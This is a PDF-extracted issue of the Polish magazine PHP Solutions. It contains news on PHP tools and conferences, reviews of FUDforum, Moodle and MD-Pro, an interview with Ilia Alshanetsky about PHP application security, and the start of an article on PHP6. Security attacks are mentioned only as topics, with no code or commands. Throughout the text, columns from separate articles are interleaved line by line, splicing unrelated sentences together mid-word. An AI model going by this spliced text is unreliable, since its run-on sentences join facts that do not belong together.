Professional Documents
Culture Documents
POCZĄTKI
Co nowego w PHP6? 18
Richard Davey
Jedenastego listopada, 2005 roku w Paryżu odby-
Będzie się działo... ło się spotkanie twórców platformy PHP. Kluczo-
wym elementem spotkania była dyskusja nad wy-
Lokalizacja w PHP
przy użyciu standardu TMX 50
Nicola Asuni
Wyobraź sobie, że jesteś głównym programistą w ze-
spole budującym olbrzymią aplikację, która jako pro-
dukt przeznaczony na rynek globalny musi wspierać
dziesięć różnych języków. Dzięki TMX podczas tłu-
Jeśli jesteś zainteresowany zakupem licencji na wydawanie naszych pism prosimy o kontakt: maczeń nie pojawią się żadne „przypadkowe” błędy,
Monika Godlewska monikag@software.com.pl tel.: 48 22 887 12 66, fax: 48 22 887 10 11 zaś Twój kod pozostanie nienaruszony.
Druk: ArtDruk
Recenzje 59 Wysokość nakładu obejmuje również dodruki. Redakcja nie udziela pomocy technicznej w instalowaniu
i użytkowaniu programów zamieszczonych na płytach CD-ROM dostarczonych razem z pismem.
Sprzedaż aktualnych lub archiwalnych numerów pisma po innej cenie niż wydrukowana na okładce
Listingi wszystkich opisywanych programów zo- – bez zgody wydawcy – jest działaniem na jego szkodę i skutkuje odpowiedzialnością sądową.
stały zamieszczone na naszej stronie interneto-
Pismo ukazuje się w następujących wersjach językowych:
wej www.phpsolmag.org/pl. polskiej , francuskiej , niemieckiej oraz włoskiej .
T
dolarów sprzedając pod reklamę powierzch-
rudno połapać się w gąszczu tak
nię miliona pikseli na swojej stronie WWW. Na
ostatniej aukcji sprzedał ostatnie tysiąc pikse- wielu dostępnych w sieci framewor-
li za ponad 38 tyś dolarów. Wykupione reklamy ków dla PHP, szczególnie początkują-
będą wisieć na stronie przez najbliższe pięć lat.
Reklamodawcy mogą być zadowoleni – stronę cym i średniozaawansowanym progra-
odwiedza dziennie ok. 500 tyś użytkowników. mistom PHP. Nie wiadomo, które roz-
Jest to kolejny dowód na szybki i łatwy sukces
w dobie wszechogarniającego Internetu. Stu- wiązanie wybrać, które okaże się ła-
dent zakończył naukę i postanowił zainwesto- twe w nauce i intuicyjne, czy w końcu,
wać zdobyte pieniądze.
jakie są zastosowania konkretnego na-
http://www.milliondollarhomepage.com/
rzędzia. Sen z powiek spędzają obawy,
Oracle przejmuje PHP że czas potrzebny na naukę danego fra-
Pojawiły się informacje, że Oracle postanowił
kupić 3 firmy tworzące oprogramowanie Open meworka okaże się stracony lub wybra- JSON, tak aby następnie wykorzystać
Source: JBoss, Zend Technologies i Sleepycat. ny projekt zostanie zawieszony i nie bę- je z poziomu AJAX-a),
Ma to związek z rosnącym zainteresowaniem
narzędziami i produktami Open Source wśród
dzie dalej rozwijany. • Zend_Mail i Zend_Mime (obsługa
klientów korporacyjnych Oracle. Na szczęście ukazał się długo poczty),
http://news.com.com/2061-10795_3- oczekiwany framework firmy Zend. Mi- • Zend_Pdf (generowanie PDF-ów
6037727.html
mo że projekt jest nowy i znajduje się w locie),
The New York PHP w fazie beta, to jednak sprawdzony, so- • Zend_HttpClient (klient protokołu
Conference & Expo 2006 lidny i stworzony przez znanych dewe- HTTP),
W dniach 14-16 lipca w Nowym Yorku odbędzie
się konferencja poświęcona w głównej mierze
loperów PHP z wykorzystaniem najlep- • Zend_Search_Lucene (silinik wyszu-
zastosowaniom PHP w biznesie. Trzy dni sesji, szych praktyk programistycznych. Jed- kiwarki napisany na podstawie po-
wykładów, warsztatów i targów mają podkreślić nym słowem, projekt, któremu można z dobnego projektu w Javie).
rolę PHP w biznesowych aplikacjach Open So-
urce. Nie zabraknie też czysto technicznych wy- pewnością zaufać i zainwestować czas
kładów dla deweloperów, które poświęcone bę- w jego rzetelne poznanie. Wśród do- Zend Framework razem z Zend Developer
dą rozwiązaniom tworzonym w PHP i dla PHP.
Magazyn PHP Solutions jest patronem medial- stępnych komponentów można wymie- Zone i Eclipse PHP IDE tworzą PHP Colla-
nym konferencji. nić m.in.: boration Project, który ma na celu podnie-
http://www.nyphpcon.com/
sienie jakości programowania i oprogramo-
Web Technology • Zend_Controller oraz Zend_Viev (fun- wania Open Source tworzonego w PHP.
conference and Expo dament dla MVC),
W dniach 30 czerwca – 1 lipca w Bułgarii odbę- • Zend_db (dostęp do bazy danych Licencja: http://framework.zend.com/
dzię się trzecia edycja konferencji poświęconej
technologiom internetowym mającym zastoso- oparty na PDO), framework_license_1.0.txt
wanie w biznesie i edukacji. W ramach wykła- • Zend_Json (odpowiedzialny za kon- http://www.zend.com/php_collabora-
dów omówione zostaną tendencje i główne kie-
runki rozwoju technik internetowych, takich jak
wertowanie struktur PHP na format tion_project
PHP, .NET czy Apache::ASP.
http://wtconferences.com/2006/
N
Dnia 10 lutego w Londynie odbyła się krót- ie ma chyba jednego miejsca bę-
ka konferencja w całości poświęcona języko-
wi PHP. Prelegentami byli Matt Zandstra (The dącego sieciowym centrum dla de-
Template Path), Derick Rethans (The eZ PHP weloperów PHP. Jest kilkanaście god-
Components Library – Object Oriented PHP),
nych uwagi portali o PHP, gdzie znaj-
Christopher Kunz (PHP Security Holes and the
Hardened PHP Project), Harry Fuecks ("AJA- dziemy trochę newsów czy przykładów.
X@localhost") i Paweł Kozłowski (Dependen- Są też miejsca, w których informacji mo-
cy Injection with PHP – Object Oriented PHP)
– nasz stały współpracownik i autor wielu opu- gą szukać profesjonaliści – np. sitepo-
blikowanych u nas artykułów. int.com czy blogi znanych deweloperów
Magazyn PHP Solutions był patronem medial-
nym imprezy. PHP. Trudno jednak nie odnieść wraże- Z drugiej strony na forum dyskusyj-
http://www.phpconference.co.uk/2006/ nia, że to tylko “kolejne” strony o PHP. nym Zend Developer Zone widać jedy-
W efekcie, żeby znaleźć konkretne infor- nie topiki związane z komercyjną dzia-
JSON macje, zasypujemy hasłami przeglądar- łalnością firmy Zend (Zend Studio, Zend
(JavaScript Object Notation)
JSON to lekki format wymiany danych, który w kę google.com. Platfrom, Zend core for IBM itd.), co źle
odróżnieniu od XML-a może być przetwarzany w Tak jednak być nie musi: Zend wy- wróży całemu przedsięwzięciu. Miejmy
języku JavaScript w łatwy sposób (z wykorzysta-
niem wbudowanej funkcji eval() ). JSON jest szedł z ciekawą i potrzebną inicjatywą jednak nadzieję, że Developer Zone sta-
szczególnie przydatny przy wymianie danych w stworzenia Developer Zone dla progra- nie sie popularne i będzie cennym źró-
aplikacjach opartych o AJAX. Jest szybszy i ła-
twiejszy do parsowania niż XML. Wielu dewelope-
mistów PHP. Już teraz możemy znaleźć dłem informacji dla deweloperów PHP.
rów uważa, że jest bardziej naturalny od XML-a, tam sporo ciekawych artykułów, np.: Cho- Miejsce w sieci, które stałoby się cen-
inni twierdzą, że jego skąpa notacja jest myląca. osing the Right PayPal Solution, czy se- trum dla programistów PHP jest czymś
Format JSON wykorzystywany jest już przez
nowy Framework Zenda (zawiera komponent rię PHP Patterns, której autorem jest Matt czego naprawdę obecnie brakuje.
Zend_Json, odpowiedzialny za konwertowanie Zandstra.
struktur PHP na JSON, aby potem można było
skorzystać z AJAX-a) Jest też miejsce na tutoriale (póki co,
http://json.org/ nie ma ich za dużo) i przykładowe skrypty. http://devzone.zend.com/
PHPUnit 3.0
PHP-Qt, czyli graficzne interfejsy nie z tej Ziemi W nowej wersji PHPUnit, która ma ukazać się
P
w najbliższym czasie, przewidziano między in-
HP-Qt to nowe rozszerzenie dla PHP 5
nymi wsparcie dla Mock Objects (imitacji obiek-
pozwalające na wykorzystanie biblioteki tów), dzięki którym możliwe jest symulowa-
Qt i tworzenie zaawansowanych interfejsów nie dowolnych klas poprzez tworzenie ich imi-
tacji, co ułatwia przeprowadzanie testów jed-
graficznych w PHP. Qt jest w pełni obiekto- nostkowych. Wiele ulepszeń powstało pod-
wą biblioteką stworzoną z myślą o C++, któ- czas Unit Testów dla Zend Framework. Prze-
widziano też wsparcie dla protokołu Test Any-
ra pozwala na wykorzystanie nowoczesnych thing Protocol (TAP). Wsparcie dla nowej wer-
technologii programowania GUI (mecha- sji PHPUnit szykują też deweloperzy PHPEclip-
se i Zend Studio.
nizmy sygnałów i slotów, widgety, systemy
http://www.sebastian-bergmann.de/blog
zdarzeń). Rozszerzenie PHP-Qt zapewnia
obiektowy interfejs dla frameworka Qt4. Aspect-Oriented
Do uruchomienia środowiska PHP-Qt Programming i PHP
AOP to paradygmat, według którego naj-
będziemy potrzebowali: ważniejsza jest modularyzacja i enkapsula-
cja kodu. Dla PHP powstają proste rozsze-
rzenia pozwalające stosować AOP, co jest
• PHP 5.1.1+, szczególnie zalecane przy dużych projek-
• Qt4 development/pliki nagłówkowe, tach. Do najważniejszych rozszerzeń moż-
• skompilowaną bibliotekę Qt4 . na zaliczyć: aoPHP (http://www.aophp.net/),
apsectPHP (http://www.cs.toronto.edu/
~yijun/aspectPHP/), phpaspect (http:
Niestety dokumentacja (http://doc.trolltech. //www.phpaspect.org/), AOP Library for
PHP (http://www.phpclasses.org/browse/
com/4.0/index.html) odnosi się tylko do sa- package/2633.html) czy Seasar.PHP (http:
mego Qt i jego wykorzystania z poziomu //www.seasar.org/)
języka C++. Archiwum PHP-Qt zawiera 6 Licencja: LGPL
SimpleTest kontra PHPUnit2
wprowadzających tutoriali. Projekt znajduje http://php-qt.berlios.de/ Blog Sebiastiana Bergmana, twórcy PHPUnit,
się jeszcze w fazie alfa. zawiera krótkie porównanie dwóch najważ-
niejszych i najbardziej znanych narzędzi do
przeprowadzania testów jednostkowych: Sim-
pleTest i PHPUnit. Znajdziemy tam odwoła-
PHOCOA – framework dla zaawansowanych nie do strony deweloperów frameworka Agavi,
którzy sprobowali użyć obu narzędzi, wybiera-
IntSmarty
Licencja: MIT License IntSmarty to rozszerzenie dla systemu sza-
http://phocoa.com/ blonów Smarty pozwalające na łatwe tworze-
nie wielojęzycznych stron WWW. Ułatwia ono
http://developer.apple.com/cocoa/ wspólną pracę programistom, grafikom i tłuma-
http://developer.apple.com/tools/ czom. Rozszerzenie zostało stworzone przez
Johna Coggeshalla.
webobjects/index.html Licencja: Coggeshall.org
http://phing.tigris.org/ http://www.coggeshall.org/oss/intsmarty/
Z całą pewnością FUDforum jest jed- Interfejs administratora jest dość sowanie we frameworku PRADO czy Symfo-
ny. Na stronie projektu znajdziemy dobrą do-
nym z najlepszych systemów for rozbudowany (i przez to niestety ma- kumentację, tutoriale, FAQ oraz forum dysku-
dyskusyjnych napisanych w PHP, w ło przejrzysty) i przygniata dużą ilością syjne. W najnowszej wersji 1.1.0 zaimplemen-
towano wsparcie dla transakcji i rozszerzono
szczególności pod względem bezpie- opcji. Administracja forum jest przez to składnię EZOQL.
czeństwa. Śmiało konkuruje z komer- nieco trudniejsza niż np. w przypadku Licencja: BSD
http://www.ezpdo.net
cyjnymi produktami takimi jak vBulletin phpBB. Drugim (i chyba ostatnim) minu-
czy Invision Power Board. Jego dosko- sem FUDforum jest kiepska szata gra- eZ Components
nałą rekomendacją jest fakt, że jest uży- ficzna, co może zniechęcać wielu użyt- Firma eZ systems, znana głównie ze swojego
CMS-a eZ publish, wypuściła pakiet eZ Compo-
wane w takich miejscach jak Zend Deve- kowników. nents będący platformą do tworzenia aplikacji
loper Zone, czy portale najważniejszych Reasumując: FUDforum oferuje na- klasy Enterprise. Pakiet składa się z niezależ-
nych bloków, które mają przyspieszyć i ułatwić
magazynów o PHP. Autorem FUDforum prawdę duże możliwości i przeznaczo- tworzenie wysokiej jakości oprogramowania.
jest Ilia Alshanetsky, jeden z najbardziej ne jest raczej dla bardziej zaawanso- Wśród nich znajdują się komponenty do two-
znanych deweloperów PHP, autor książ- wanych użytkowników. Jeśli zdecyduje- rzenia archiwum, cacheowania, dostępu do ba-
zy danych (opartego na PDO), debugowania,
ki PHP Security Guide, z którym mieli- cie się na przejście na FUDforum, to za operowania na plikach graficznych i ich anali-
śmy okazję rozmawiać i opublikować wy- pomocą dostępnych na stronie projektu zy, obsługi poczty elektronicznej, filtrowania da-
nych wejściowych czy komponenty zapewnia-
wiad właśnie w tym wydaniu PHP Solu- skryptów możemy dokonać bezbolesnej jące dostęp do danych systemowych takich jak
tions. Ilia na co dzień zajmuje się tema- migracji z najbardziej znanych for ta- (RAM, rodzaj CPU itp).
Komponenty wymagają PHP 5.1.
tyką zapewniania bezpieczeństwa apli- kich jak phpBB. Zachowują się wszyst- Licencja: New BSD.
kacjom WWW i tym samym zabezpiecza kie dane (również uprawnienia użytkow- http://ez.no/products/ez_components
FUDforum na wszelkie możliwe sposo- ników).
by. Oczywiście kwestie bezpieczeństwa Moodle – profesjonalny
e-learning za darmo
to nie wszystko. Forum zaskakuje dużą Licencja: GPL To najbardziej znany i najlepszy system e-lear-
funkcjonalnością. http://fudforum.org/forum/ ningu Open Source stworzony w PHP. Obsłu-
guje aż 73 wersje językowe i zgodny jest z taki-
mi standardami jak SCORM. Kursy dydaktycz-
ne mogą być umieszczane w rozmaity sposób
w różnej formie (pliki mutlimedialne, dokumen-
ty tekstowe w różnych formatach, prezentacje
itd.). System posiada trzy kategorie użytkowni-
ków: admin, nauczyciel i uczeń.
Instalacja systemu jest prawie automatycz-
na. Moodle działa na PHP 4/PHP 5, MySQL/
PostreSQL i Apache/IIS. Dostępnych jest wiele
dodatkowych modułów i pakietów językowych.
Na stronie Moodle'a zarejestrowanych jest po-
nad 70 tyś użytkowników, mówiących w 70 ję-
zykach i pochodzących ze 138 krajów. W su-
mie istnieje prawie 10 tyś stron używających
Moodle'a ze 150 krajów z całego świata (wykaz
znajduje się na stronie domowej projektu), co
stanowi jego najlepszą rekomendację.
Strona projektu zawiera obszerną dokumenta-
cję, FAQ, wersję DEMO oraz statystyki mówią-
ce o tym, jak kształtuje się społeczność uży-
wająca Moodle'a (ok. 40 tyś nowych użytkow-
ników rocznie, a liczba stron używających Mo-
odle'a w ciągu roku wzrosła 5-krotnie, z 2 to 10
tyś). Na stronie znajdziemy też Roadmap z cał-
kiem ambitnymi planami rozbudowy systemu
na najbliższy rok.
http://moodle.org
M
oraz ciekawe i zaskakujące benchmarki (np.
Phalanger/MSSQL kontra PHP/MSSQL lub D-Pro to łatwy w użyciu, administracji i
Phalanger/IIS kontra PHP/IIS). Można też utrzymaniu CMS tworzony przez sku-
zobaczyć przykładowe aplikacje, które zo-
piającą profesjonalistów PHP społeczność
stały przekompilowane do .NET, np.: php-
MyAdmin, phpBB czy PHP-Nuke. Z Road- MaxDev. Jest to system modularny (podob-
mapy projektu można się dowiedzieć o wie- nie jak np. XOOPS, czy Drupal), z możliwo-
lu ciekawych zmianach, które zostaną prze-
prowadzone w kolejnych wersjach aplikacji, ścią rozszerzania instalacji o wybrane z re-
np. wspraciu dla .NET Framework 2.0 pozytorium czy tworzone indywidualnie mo-
i Mono.
http://www.php-compiler.net/ duły. Wśród dostępnych modułów warto
wymienić: e-commerce (sklepy, systemy kami lub bez). Bloki umieszczamy w dzie-
Pakiet łat bezpieczeństwa płatności np. PayPall); zarządzanie pro- więciu różnych pozycjach na stronie i mo-
dla aplikacji PHP jektami, kalendarze, organizatory pracy; żemy swobodnie zmieniać ich szablony.
Hardening-Patch to zestaw łat, który za-
pewnia zwiększone bezpieczeństwo ser- galerie zdjęć, fora, czaty; zaawansowane MD-Pro oferuje też menedżer plików oraz
wera WWW oraz aplikacji pisanych w PHP. systemy menu, statystyki, narzędzia do narzędzia do backupowania i optymaliza-
Pakiet obecnie liczy 16 łat, m.in.: ochro-
na przed uploadowanymi zainfekowanymi zarządzania serwerem; sondy, newslet- cji bazy danych. Do edycji artykułów służy
plikami czy przed atakami HTTP Respon- ter, zdalne nauczanie. RTE Editor. Mamy też wbudowany mecha-
se Splitting.
Deweloperzy projektu świadczą wsparcie,
CMS zapewnia wielojęzyczność, ła- nizm statystyk.
publikują artykuły i organizują audyty bez- twość modyfikacji i dostosowania szablo- MD-Pro jest w 98% kompatybilny
pieczeństwa. Oficjalnie określili wydanie nów oraz pozycjonowanie bloków na stro- z modułami, blokami i szablonami z Po-
PHP Security Consortium Guide mianem
szkodliwej lektury. nie WWW. MD-Pro oferuje póki co wspar- stNuke i eNvolution. Projekt posiada mię-
Licencja: BSD cie dla MySQL-a i Oracle'a. Posiada rozbu- dzynarodowe wsparcie w wielu językach.
http://www.hardened-php.net/
dowany, przejrzysty panel administracyjny Dużym plusem projektu jest obszerna
PEAR::Image_3D z możliwością elastycznego i swobodnego i przejrzysta dokumentacja.
Image_3D to pakiet dla PHP 5 umożliwiają- zarządzania uprawnieniami, grupami i użyt-
cy tworzenie grafiki 3D. Pozwala na tworze-
nie różnych trójwymiarowych obiektów i de- kownikami. Mamy do wyboru cztery różne Licencja: GPL
finiowane własnych. Zapewnia nawet im- typy panelu administracyjnego (np. z grafi- http://www.maxdev.com/
port plików popularnego programu 3DSMax.
Grafiki wyjściowe tworzy za pośrednictwem
GD, SVG lub ASCII. Pakietowi brakuje nie-
stety dokumentacji dla użytkownika, przykła-
dów i tutoriali.
Licencja: LGPL
http://pear.php.net/package/Image_3D
phpDataCache
PhpDataCache to biblioteka oferująca proste
API do cachowania danych w zmiennych PHP.
Wspiera wiele różnych DAO (Data Access Ob-
jects) w zależności od zastosowania.
Licencja: LGPL
http://sourceforge.net/projects/phpdatacache/
ConTEXT Editor
Filmy tutorialowe
Aplikacje
Context Editor – edytor wykorzystany w kursach video Rozwiązania z artykułów w PHP Solutions LiveCD
DzSoft PHP Editor – wydłużony 45 dniowy trial EyeOS
Quick Web Photo Resizer – wydłużony 45 dniowy trial
Ampache
PHP Expert Editor – shareware
PHP Expert debugger – shareware
na naszej stronie internetowej pod adresem www.phpsolmag.org/pl
PHP Solutions: W jaki sposób zaczęła się mi słowy: niemalże każdy po przyswoje- ży w samym PHP. Problem w tym, że lu-
Twoja przygoda z PHP, w szczególności z niu podstawowych informacji, może prak- dzie słabo obeznani z informatyką (a w
aspektami bezpieczeństwa? tycznie z miejsca zacząć pisać działają- szczególności nieobeznani z PHP) nie do
Ilia Alshanetsky: Używam PHP od ce programy w oparciu o PHP. Jednak nie końca rozpoznają różnicę pomiędzy języ-
około 8 lat, zaś przez ostatnie 4-5 lat aktyw- na tym polega prawdziwa sztuka inżynie- kiem PHP, a aplikacją pisaną w tym języku.
nie współuczestniczę w rozwijaniu tej tech- rii oprogramowania. Chodzi o to, że ludzie Za to Ci, którzy te różnicę rozumieją, czę-
nologii. Bezpieczeństwo aplikacji jest jed- którzy piszą programy, których celem jest sto mimo to wyrabiają sobie mylne zdanie
nym z tych aspektów, do których zawsze „tylko” działać, często zapominają o innych na zasadzie rozumowania: skoro wszyst-
przywiązuję dużą wagę przy projektowa- ważnych kwestiach. Jedną z takich kwestii kie te duże, poważne (i popularne) projekty
niu aplikacji. Za każdym razem, kiedy piszę jest właśnie bezpieczeństwo aplikacji. Pro- mają luki w zabezpieczeniach to musi być
nowy fragment kodu, staram się myśleć o gramistom wydaje się zazwyczaj, że PHP to wina PHP. Przecież autorzy tych projek-
konsekwencjach wykorzystania tworzonego niejako automatycznie rozwiązuje wszyst- tów nie mogą się wszyscy naraz mylić...
właśnie rozwiązania, głównie w kontekście kie związane z tym problemy. Niestety, jak Z technicznego punktu widzenia, PHP nie
bezpieczeństwa. Uważam po prostu, że pewno zdajesz sobie z tego sprawę, osoby jest bardziej czy mniej bezpieczne niż Java
bezpieczeństwo aplikacji jest jednym z tych myślące w ten sposób są w dużym błędzie. czy .NET. Jednak dziwnym trafem mało kto
elementów funkcjonalności, których zwy- W konsekwencji mamy na rynku nawał apli- zakłada, że Java sama z siebie gwarantuje
czajnie nie da się dodać później. Od ponad kacji zbudowanych przy użyciu PHP, które bezpieczeństwo tworzonych w niej aplika-
dwóch lat staram się promować i uspraw- pod względem bezpieczeństwa są, delikat- cji. A w przypadku PHP takie założenie jest
niać mechanizmy bezpieczeństwa PHP. nie mówiąc, niezadowalające. Na dodatek, niemalże na porządku dziennym.
PHPS: Jak Twoim zdaniem prezentują wielu autorów takich aplikacji dokleja skrót PHPS: Jesteś autorem książki PHP
się rozwiązania związane z zapewnieniem PHP do nazw swoich produktów, po to aby Security Guide. Na czym głównie skupiłeś
bezpieczeństwa PHP (i aplikacji WWW) w ludzie kojarzyli je z tą technologią. Przykła- się przygotowując tę pozycję?
odniesieniu do takich platform jak Java lub dy takiego marketingowego zabiegu moż- Ilia: Starałem skupić się na najczęściej
ASP. Czy w porównaniu z technologią PHP na mnożyć: PHPNuke, PHPBB, phpMyAd- wykorzystywanych słabych punktach istnie-
mechanizmy te wyróżniają się czymś szcze- min i tak dalej... Konsekwencje są takie, że jących w mechanizmach bezpieczeństwa
gólnym? jeśli we wspomnianych produktach znajdo- Internetu, oczywiście ze szczególnym ukie-
Ilia: Moim zdaniem główną siłą języ- wane są dziury, to wiele osób wyrabia so- runkowaniem na problemy związane z PHP.
ka PHP jest łatwość jego używania. Inny- bie automatycznie zdanie, że problem le- Mam tu na myśli takie zjawiska jak ataki
XSS (ang. Cross Site Scripting), fałszowa- potrzebowałem biuletynu informacyjnego o takimi jak Java czy .NET. Na szczęście fir-
nie żądań (ang. Request Forgery), wstrzy- bardzo dużej przepustowości i żadne z ist- my takie jak Sun czy Zend pracują aktualnie
kiwanie kodu SQL (ang. SQL Injection) i tak niejących rozwiązań (zarówno darmowych nad tymi zagadnieniami, co wróży rychłą po-
dalej. Celem mojej książki było przedstawie- jak i komercyjnych) nie odpowiadało moim prawę aktualnego stanu rzeczy. Jeśli mówi-
nie wspomnianych form ataków, wyjaśnie- potrzebom. Dodatkowo, jedno z wymagań my o sprawach powiązanych z bezpieczeń-
nie na czym polegają niebezpieczeństwa z odnośnie docelowego rozwiązania zakłada- stwem to myślę, że warto by popracować
nimi związane i wreszcie: pokazanie, w jaki ło potrzebę ścisłej integracji z NNTP, w ce- nad usprawnieniem podstawowego pakietu
sposób techniki te są w praktyce nadużywa- lu uzyskania obustronnej komunikacji po- narzędzi PHP, tak aby pisanie bezpiecznych
ne. Byłbyś prawdopodobnie zdziwiony, gdy- między forum a serwerem newsów. Po wy- aplikacji było łatwiejsze i bardziej naturalne.
byś wiedział jak wielu ludzi (zarówno progra- konaniu wstępnych badań, które miały okre- Dobry przykład, a jednocześnie zdecydowa-
mistów jak i menedżerów IT) wykazuje na- ślić, na ile opłaca się modyfikować istnieją- ny krok w dobrym kierunku w tej dziedzinie
gminną i niemalże irracjonalną tendencję do ce rozwiązania w celu uzyskania wymaga- stanowi rozszerzenie PHP udostępniające
ignorowania tego typu problemów. Weźmy nej wydajności i funkcjonalności, uznałem mechanizmy filtrowania.
na przykład atak XSS: wiele osób argumen- że korzystniej będzie zbudować taki system PHPS: Wiele rozwiązań tworzonych
tuje, że technika ta wymaga specjalnych od podstaw. I tak to się zaczęło... w PHP wzoruje się na istniejących pomy-
technik socjologicznych w celu jej zastoso- PHPS: Co Twoim zdaniem jest naj- słach realizowanych na bazie innych plat-
wania i przez to mało kto jej używa. Ponie- ważniejsze w kontekście przyszłości plat- form, takich jak na przykład Java. Moż-
waż tego typu argumenty ocierają się o non- formy PHP? Jakie zmiany należałoby we- na by tu wymienić takie projekty jak SDO,
sens, dlatego w swojej książce dosyć dużo dług Ciebie wprowadzić tak, aby ulepszyć PHPUnit czy iConnect, a także wiele in-
miejsca poświęciłem na analizę wspomnia- język, zwiększyć bezpieczeństwo aplikacji i nych. Czy sadzisz, że nadejdzie kiedyś
nych problemów w kontekście praktycznym. sprawić, że PHP będzie częściej używany dzień, kiedy sytuacja się odwróci i progra-
PHPS: Czy mógłbyś powiedzieć coś do budowania rozwiązań klasy Enterprise? miści Javy będą czerpać pomysły z pro-
na temat projektów, w których aktualnie Ilia: Cóż, wydaje mi się, że powstawa- jektów opartych na platformie PHP? Czy
bierzesz udział. Które z nich są najbar- nie i rozwój takich firm jak Zend, Omni Ti, myślisz, że jest to w ogóle możliwe?
dziej interesujące? I dlaczego? Advanced Internet Designs Inc (to akurat Ilia: Nie widzę przeszkód – w końcu do-
Ilia: Zasadniczo, niemalże o wszyst- moja firma) czy eZ Publish, daje bardzo du- bre pomysły są w dużej mierze niezależ-
kich projektach (zarówno tych otwartych jak żo w kontekście przydatności PHP przy bu- ne od platformy. Prawdę mówiąc widziałem
i tych komercyjnych) w których biorę (bądź dowaniu zaawansowanych rozwiązań biz- już kilka rozwiązań budowanych przy uży-
brałem) udział, mogę powiedzieć, że by- nesowych. W przypadku dużych firm, głów- ciu ASP/.NET, lecz opartych – w sensie kon-
ły interesujące. Dla przykładu, ostatnio pra- nym problemem jest najczęściej brak wspar- cepcyjnym – na projektach PHP. Przykłado-
cuję nad aplikacją, której zadaniem jest au- cia dla danej technologii, szczególnie w sytu- wo ASPMyAdmin odwzorowuje ideę php-
tomatyczne wykrywanie słabych punktów acjach krytycznych. Problem ten dotyka wie- MyAdmin, tyle że docelowo działa w środo-
w systemach webowych i przygotowywanie lu przedsięwzięć typu Open Source. Dewe- wisku Microsoft SQL Server.
szczegółowych raportów dla klienta. Projekt loperska lista dyskusyjna czy też adres ma- PHPS: Jakie są Twoje plany zawodo-
ten jest niezwykle ekscytujący i jednocze- ilowy do autorów, to często zbyt mała gwa- we na najbliższy czas? Zamierzasz rozpo-
śnie stanowi duże wyzwanie od strony tech- rancja wsparcia dla dużych organizacji, któ- czynać jakieś nowe projekty?
nicznej. Poświęcam temu prawie przez ca- re chciałby korzystać z rozwiązań otwartych. Ilia: Jest jedna rzecz, którą chciałbym
ły swój wolny czas i sądzę, że jeszcze tro- W momencie kiedy pojawiają się firmy ofe- się w niedługim czasie zająć. Mam na my-
chę potrwa, zanim dobrnę do końca. Wyda- rujące profesjonalną pomoc w tym zakresie śli bibliotekę, czy może wręcz rozszerzenie
je mi się, że w perspektywie ostatniego roku (w przewidywalnym czasie), sytuacja wy- PHP, pozwalające przekształcać zapytania
było to chyba najciekawsze z moich przed- gląda zupełnie inaczej. Inna sprawa to kwe- użytkownika na format, który byłby łatwy do
sięwzięć. Oczywiście w międzyczasie zaj- stia popularności danej technologii. Na przy- zastosowania przy budowaniu zapytań ni-
muję się też FUDforum, gdzie zawsze sta- kład PHP jest używane do obsługi serwisu skopoziomowych. Cała ta sprawa wiąże się
ram się prezentować coś nowego. Można Yahoo. Fakt ten jest niezwykle istotny, głów- z faktem, że ostatnio spędziłem dużo czasu
powiedzieć, że prowadzę wyścig z samym nie z tego względu, że menadżerowie lubią na przystosowywaniu PHP do pracy z róż-
sobą, starając się ulepszać to, co już robi- weryfikować swoje decyzje na podstawie nymi ciekawymi silnikami wyszukiwania, na
łem wcześniej. To również jest bardzo eks- decyzji podejmowanych w innych firmach. przykład Xapian. W trakcie pracy okaza-
cytujące zajęcie, szczególnie kiedy udaje mi Bardzo mało jest odważnych jednostek, któ- ło się, że brakuje mi udogodnień wspiera-
się znaleźć nowe, lepsze rozwiązanie pro- re decydują się wykonać pierwszy krok. Jeśli jących przekształcanie złożonych zapytań
blemu, który wydawał się być już całkowicie chodzi o platformę samą w sobie, to wydaje użytkownika na odpowiadające im zapyta-
rozłożony na łopatki. mi się, że należy zwiększyć nakład pracy nia do bazy danych. Sądzę, że mając wspo-
PHPS: Jakie były początki projektu nad dostarczaniem narzędzi ułatwiających i mniane udogodnienie, można by oszczędzić
FUDforum. Czy był jakiś specjalny powód, wspomagających proces budowania aplika- sobie bardzo dużo pracy w różnego rodzaju
który sprawił, że się tym zająłeś? cji oraz integrację z najnowszymi technolo- przedsięwzięciach. n
Ilia: Często odpowiadam na tego ty- giami – takimi jak na przykład JSON. Waż-
pu pytania ;-). Można powiedzieć, że pro- nym aspektem wydaje się być kwestia inte- Wywiad przeprowadził
jekt ruszył z dwóch powodów. Po pierwsze, gracji PHP z innymi platformami i językami, Dariusz Pawłowski
Co nowego w PHP6?
Stopień trudności: lll
Richard Davey
N
iestety dokument ten, ze wzglę- czy powoduje, że PHP musi przechowy-
du na rozmiary i poziom szcze- wać informacje na temat nazw klas, metod
gółowości jest stosunkowo trud- czy funkcji podwójnie: zarówno w formacie
ny w odbiorze. Dlatego też napisałem ni- Unicode, jak i w formacie zawężonym.
niejszy artykuł, który w przystępny i kom- W rezultacie potrzeba na to wszystko dużo
paktowy sposób prezentuje wszystkie zasobów. Nowe podejście proponowane
kluczowe aspekty poruszane w trakcie w PHP6 polega na tym, że kwestia wspar-
wspomnianej dyskusji. Dzięki temu, bez cia dla Unicode będzie zależna od serwe-
zbędnego wysiłku, każdy zainteresowa- ra, nie od żądania. Szacuje się, że wyłą-
W SIECI ny może dowiedzieć się, jakie nowe moż- czenie wsparcia dla Unicode, w przypadku
liwości kryją się pod maską PHP6. kiedy funkcjonalność ta jest niepotrzebna
Zanim przejdziemy do szczegółów może przyśpieszyć działanie operacji na
1. http://www.corephp.co.uk należy jasno zaznaczyć jedno: nie ma stringach nawet o 300%, zaś działanie ca-
– Blog Richarda Daveya
2. http://www.php.net/~derick/ stuprocentowej gwarancji, że udogod- łej aplikacji o około 25%. Przeniesienie de-
meeting-notes.html nienia przedstawione w dalszej części ni- cyzji co do wsparcia dla Unicode do php.ini
– sprawozdanie ze
spotkania twórców PHP niejszego tekstu staną się na pewno czę- obciąża odpowiedzialnością za kontrolę tej
3. http://shiflett.org/archive/135 ścią specyfikacji PHP6. Prezentowane opcji nie użytkownika (programisty), a ad-
– informacje na temat PHP6
na blogu Chrisa Shifletta
rozwiązania należy postrzegać raczej ja- ministratora systemu, na którym urucho-
4. http://www.internetnews.com/ ko aktualną, aczkolwiek niezobowiązują- miona jest aplikacja.
dev-news/article.php/ cą wizję nowej wersji PHP. W przypadku potrzeby samodzielnego
3557711
– ogólne informacje na temat skompilowania PHP warto mieć na uwa-
PHP6 Unicode dze, że od wersji 6 wymagane będą bi-
5. http://www.zend.com/
collaboration Wsparcie dla Unicode zależy na dzień dzi- blioteki ICU (oczywiście tylko wtedy, kie-
